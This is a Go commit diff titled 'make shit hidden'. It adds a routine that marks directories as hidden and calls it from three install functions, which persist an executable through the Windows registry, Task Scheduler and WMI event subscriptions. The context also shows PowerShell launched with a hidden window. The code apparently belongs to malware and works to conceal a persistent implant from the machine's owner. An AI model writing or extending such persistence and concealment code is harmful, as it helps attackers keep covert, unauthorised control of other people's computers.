make shit hidden

This commit is contained in:
KingKDot
2026-04-03 10:33:24 -05:00
parent 952128d0bb
commit 38e5f42baf
4 changed files with 15 additions and 0 deletions
@@ -167,6 +167,18 @@ func deriveWMINames(targetPath string) (filterName, consumerName string) {
return prefix + "f" + suffix, prefix + "c" + suffix
}
func tryHideDirectory(dir string) {
ptr, err := syscall.UTF16PtrFromString(dir)
if err != nil {
return
}
attrs, err := syscall.GetFileAttributes(ptr)
if err != nil {
return
}
_ = syscall.SetFileAttributes(ptr, attrs|syscall.FILE_ATTRIBUTE_HIDDEN)
}
func runPowerShell(script string) error {
cmd := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
@@ -27,6 +27,7 @@ func installRegistryFull(exePath string) error {
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
tryHideDirectory(dir)
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
@@ -24,6 +24,7 @@ func installTaskSchedulerFull(exePath string) error {
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
tryHideDirectory(dir)
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
@@ -24,6 +24,7 @@ func installWMIFull(exePath string) error {
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
tryHideDirectory(dir)
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err